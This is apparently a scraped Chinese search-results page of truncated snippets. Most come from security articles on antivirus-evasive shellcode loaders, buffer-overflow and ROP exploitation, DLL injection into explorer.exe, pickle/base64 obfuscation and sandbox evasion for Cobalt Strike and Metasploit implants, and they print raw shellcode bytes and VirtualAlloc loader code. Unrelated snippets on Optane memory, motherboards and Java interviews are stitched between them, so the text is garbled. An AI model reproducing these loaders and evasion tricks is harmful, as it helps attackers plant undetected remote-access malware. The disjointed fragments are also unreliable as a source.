TB），因此 PayPal 只需使用更小的集群就可以满足业务所需的高性能，从而让服务器数量减少约 50%，每集群的成本降低约 30% 。...同时，与先前的基础设施相比，使用的服务器总数量可以减少近 90%（从 1024 台减少到 120 台），相关的硬件占用空间可减到约为原来的 1/8，吞吐量可增至原来的 5 倍（每秒事务处理量从 20 万提升到...相信如果把它换成 AI 加速能力以及内存子系统带宽和性能表现更优的第三代英特尔® 至强® 可扩展处理器，这种打破内存墙的效果将更加明显。 ...AlphaFold2 端到端高通量优化 值得一提的是，在 AI for Science 领域，至强® 可扩展处理器 + 傲腾™ 持久内存的组合所带来的突破内存墙实践也开始大放异彩。...据英特尔专家介绍：在输入长度为 765aa 的条件下，64 个实例并行执行时，内存容量的需求就会突破 2TB。在这种情形下，对广大用户来说，使用傲腾™ 持久内存是一个可行且可负担的方案。
如上图就是运行后的FTP服务器，通过nc工具链接服务端的地址nc 192.168.1.8 9999 可以得到一个FTP交互环境，此时可以执行send | hello world命令，来向服务器发送一段字符串...，同时服务器会返回给你Data received successfully这样的提示信息，好了我们开始分析程序并挖掘漏洞吧。...首先打开X64dbg将FTP程序载入并运行，接着我们需要使用Netcat链接本机 nc 192.168.1.2 9999 并进入一个可交互的shell环境中，然后输入待发送的字符串不要回车。...此时我们需要寻找一个跳板，能够动态的定位栈地址的位置，在这里我们使用jmp esp作为跳板指针，其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址，函数返回后被重定向去执行内存中jmp esp...\x2b" buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43" buf += b"\xbb\xc7\x25\x01\x44\x38
以上前三点都是相互交织的，所以我将同时处理它们。r9问题是：为了启动我们的 ROP 链漏洞，我应该放入什么内存地址？...ASLR 在我找到有用的非 ASLR 可预测、可重复的地址之前，我无法堆叠枢轴或可靠地跳转到有用的指令或枢轴到 ROP 链。...读取内存地址处的值rax并将其存储在rax寄存器中。 例如，如果rax=0x123456789上面的指令读取内存地址的 8 个字节0x123456789并将该值存储在rax寄存器中。...第一步是在 Serv-U 的.data段中找到一个可写的内存地址，我可以在其中写入一个字符串。我使用 Hopper 在数据段中查找没有与任何代码交叉引用的部分；假设是内存区域确实未被使用。...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...目前市面上的绝大多数杀软基于判断一个exe是否为木马，无非就是敏感函数或是调用敏感的api、特征库匹配、hash值、监控内存之类的 ，所以静态的还是比较好过的，稍微处理一下自己的shellcode基本上是都可以过的...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...大小 shellcode_size = sizeof(buf); /* VirtualAlloc( NULL, // 基址 800, // 大小 MEM_COMMIT, // 内存页状态...NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // 将shellcode复制到可执行的内存页中
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...此时对原来的文件双击测试 依旧可以上线 VT查杀： https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc
但是内网中一般部署有防火墙、流量监控等设备，杀软更是成为了服务器的标配，所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。...目前免杀技术大致分为以下几类: 特征码修改 花指令免杀 加壳免杀 内存免杀 二次编译 分离免杀 资源修改 .......WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) 这样我们的可执行程序便与Shellcode进行了分离，直接运行Python文件可以上线并正常调用命令...这样，我们就可以通过我们的例如异或、编码等混淆方式，绕过杀软的检测，了解了以上内容，我们就可以进行我们的免杀测试了，我们将我们上文中加载器代码利用exec()进行序列化并且进行编码。...pickle.loads(base64.b64decode(shellcode)) 从代码层面来讲，杀软视角的代码仅能看到是一段正常的Base64解码以及反序列化的脚本文件，也就达到了我们Bypass的目的，运行脚本我们可正常上线以及执行命令
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...复现其他师傅的免杀 2.1 c++部分 其实他这部分代码的逻辑就是一个利用自己的密钥进行解密，解密之后再申请内存，执行shellcode，在这里先将别人的代码下载下来，在本地跑一下： 先把项目下载，然后把...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...又学到新的姿势了，以上内容仅供参考，后续我再更新其他的吧！
NFS使用远程过程调用（RPC）在客户端和服务器之间路由请求。Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。...尝试http下载但没有成功，以后遇到bash反弹的就架个服务器，遇到ssh的还是用sftp更方便点； ? 我这里用得是MobaXterm；运行下程序看看； ?...那么就不能用直接用溢出的方法覆盖栈中返回地址，而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过 3、NX：NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行...\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42...\x75\x4a\x49\x35" "\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d" "\x4b\x30\x42\x4a\x53
加载恶意DLL 打开explorer.Exe句柄 分配 **读写可执行文件 **DLL的内存 从kernel32.dll获取LoadLibaryA函数地址 在explorer.Exe进程下创建远程线程。...hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; 分配内存...\x48\x01" "\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" "\xec\x20\x41\x52\xff\xe0\x58\x41...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" //"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48...同时我把DLL里面的加密密钥换了一下，不得不说 Windows Defender会把文件特征码和服务器做识别（或者是传到服务器）查杀的效率越来越高，让人防不胜防。
加密库 做免杀时或自己开发c2时，加密话题是永远离不开的，无论是代码加密，流量加密，或者是内存加密，都是十分重要的，且必须的环节，windows 中也有许多和加密有关的库，但是比较常用的和加密效果比较好的...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...; i < shellcodeSize - 1; i++) { printf("\\x%02x", shellcode[i]); } printf("\n"); } 这种可以用来，加密内存...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...本质的话，还是通过优化、可内联且易于使用的方式生成直接系统调用指令的库，使用如下： 1.先导入头文件 in_memory_init.hpp inline_syscall.hpp inline_syscall.inl
本次作业是使用钉钉机器人来实现远控服务器！...1、登录钉钉开放平台 可以先创建一个企业 选择应用开发，企业内部开发，添加一个机器人 记录生成的密钥 配置好开发管理，服务器出口IP添加VPS的地址，消息接收地址为一个可以接收数据的url,该url...验证不通过') print('有get请求') if __name__ == '__main__': app.run(host='0.0.0.0', port=9000) 3、在开发管理的服务器上启动服务...4、调试 在钉钉开放平台上选择调试 打开钉钉，会有一个TEST版本的群聊，可以在里面进行测试 可以看到，命令执行成功,服务器端请求成功 参考： 钉钉机器人设置： https://open.dingtalk.com...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...360本地扫描（机器联网，但未使用360云查杀, 测试时间：2021/05/02） 可正常运行。...下面的代码为最基础版本的shellcode，配合Cobalt Strike使用，可实现远控。...\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\...此时对原来的文件双击测试： 依旧可以上线（测试时间：2021.06.17）。 免杀效果：Windows defender可过。
// #include "stdafx.h" #pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行 #pragma comment...\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b...\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77...大家注意到没有，由于shellcode是要支持直接在内存中运行的代码，所以上面的代码中调用函数的过程全部都是通过hash的方式去调用的函数，那么除了hash调用的方法之外还有没有其他的呢？
内存注入ShellCode的优势就在于被发现的概率极低，甚至可以被忽略，这是因为ShellCode被注入到进程内存中时，其并没有与之对应的硬盘文件，从而难以在磁盘中取证，但也存在一个弊端由于内存是易失性存储器...，所以系统必须一直开机，不能关闭，该攻击手法可以应用于服务器上面，安全风险最小，注入后将注入器删除即可。...\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58...\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd" "\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58...x96\xba" "\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21" "\xec\x22\x35\x75\x26\xf4\x5b\x58
xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58...x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58...\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\...\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x39\\x32\\x2e\\x31\...GetTickCount调用的时候，关闭sleep的hook，这样就不会被样本发现时间被加速了；（5、如果是免费对外开放使用的沙箱，不要在报告中暴露一些路径信息，可以将样本放到沙箱的桌面；其他的反反沙箱技巧也有很多，以上是对本文提到的反沙箱技巧的对抗
CPU内部了，所以Intel 50系芯片“组”（X58除外，这是搭配i7 9xx用的，还有北桥）已经没有传统意义的北桥了，而南桥依然负责处理低速设备（SATA/USB/PCI等）、时钟等功能。...我们来看一下CPU的第一条指令，CPU遵循着最简单的工作模式，从CS:IP 拿到内存的地址，取址执行，但是当主机刚刚上电，内存数据还没有初始化的时候，第一条指令从哪里来呢？...CPU毕竟是硬件设备，也需要搭配硬件设备工作，有一类内存是掉电数据不丢失的，比如EEPROM(电可擦除可编程只读存储器),它被广泛用于需要经常擦除的BIOS芯片以及闪存芯片; DRAM:动态随机存取存储器...,一般指物理内存…. ...BIOS读外设固件的信息，在实模式内存的0x000 – 0x3FF 建立可操作硬件的中断向量表，每个中断向量占用4个字节，共可存储256个中断向量。
知道为什么梦里的人都看不清脸么？因为怕你当真。。。...GetConsoleWindow(), SW_HIDE); unsigned char buf[] = "\xbf\xc2\xd4\x1d\x34\xd9\xc9\xd9\x74\x24\xf4\x58...x17\x7f\xb1\xae\x8e\xb9\x26\xe0\x28\x0e\xe2\x53\x1a\x0d""\xf8\xc7\xea\xa7\x3e\x5a\xbd\xc9\x30\xf3\x7e\x58...buf); ((void(*)())exec)(); return 0;} 3、生成解决方案 4、右击生成的木马，使用36X扫描 三、实战操作 1、上传生成的木马到服务器...，假设就是本地服务器 2、打开msf，选择合适的攻击模块，run运行 3、在服务器运行免杀木马，成功获取shell 禁止非法，后果自负 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn
Q：如果使用到内存，那么还是跑在单独的服务器上最好？ A：选手提供的代码编译后的程序运行在独立的服务器上，是与数据库实例所在的机器分开的。 Q：题目难度有多大？本科阶段适合参加吗？...Q：持久内存当作ssd使用的话，稳定性怎么样？内存不是不稳定存储吗？ A：持久内存的稳定性很好，其存储介质的特性是可持久化的，和DRAM以电容维持刷新所是有本质的区别。...A：持久内存的主要特性包括可字节访问，就地写入，其延迟比普通的SSD低很多，这和Nand SSD为代表的块设备是不同的。...A：持久内存的特性之一是可字节寻址访问，因此可以更细粒度访问。 Q：libpmemobj不用事务时，性能和libpmem有差异么？ A：libpmem的操作是最底层和粒度最细的，因此效率是最高的。...持久内存的延迟在几百纳秒级，Nand SSD的延迟在几十微秒以上。 ---- 六、技术侧 Q：mysql-conector怎么执行投传sql？
X58和X79都相继被仿造，800的全新主板！还能上RECC内存！岂不美滋滋！ ? 然而真的有这等好事？ 先不说迷之设计的前置USB3.0、挡显卡的Sata接口。光是用料，就有3个月必BOOM之称。...缺点是开机慢，4分钟自检；重（20kg不止）；不带Sata接口，接硬盘必须走阵列；PCIE给内存了，留了8x给显卡（上高性能显卡会瓶颈），和两个4x接口（可以上1x的声卡）。 ?...几款芯片组中以c602最为常见，c602芯片组支持四通道内存，对应CPU内建40条PCIE3.0通道，芯片组自身可扩展8条PCIE2.0通道，支持最多14个2.0接口，最多10个Sata接口（包括两个原生...既然哪么好，那为什么笔者不玩这个呢？ 因为贵啊！ ? 如果你想要上2011V1的船，你需要准备一定的资金来买船票，X79平台这个船的最低金额是620元山寨船票加上200左右的E5 v1。...4、如果你手上有x58，那么把1366的CPU超频一下是最美滋滋的，单颗x5687@4.1Ghz战平i7 3770。图吧已经有大神成功硬改1366服务器主板做到超频，笔者最近也在研究这个。 ?
如消息推送，可以先把消息写入数据库，推送放队列服务器上，由推送服务器去队列获取处理，这样就可以将消息放数据库和队列里后直接给用户反馈，推送过程则由推送服务器和队列服务器完成，好处异步处理、缓解服务器压力...三、面试方面 企业应用的系统架构师应该关注的几个方面 (具体情况具体分析,以下未必准确，只是参考) 先来一些基础面试题，您答得出么？ 1、说说JVM原理？内存泄露与溢出区别，何时产生内存泄露？...内存只有1G？？？ 9、在1亿条用户记录里，如何快速查询统计出看了5个电影以上的用户？ —-可以参考 位图索引的原理 10、Spring如何实现IOC与AOP的，说出实现原理？...再给往架构师方面发展的朋友推荐几本书 Java系统架构师应该看的几本书 Thinking in Java Effective Java UML基础、案例与应用 UML入门提高 软件工匠 设计模式——可复用面向对象软件的基础...总结：其实架构师定义是模棱两可的，有些7、8年开发人员也算不上架构师，架构师一般是在某领域超乎常人的理解，在公司遇到技术方面难题的时候，这个时候如果你技术过硬，能快速的解决问题。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
云直播
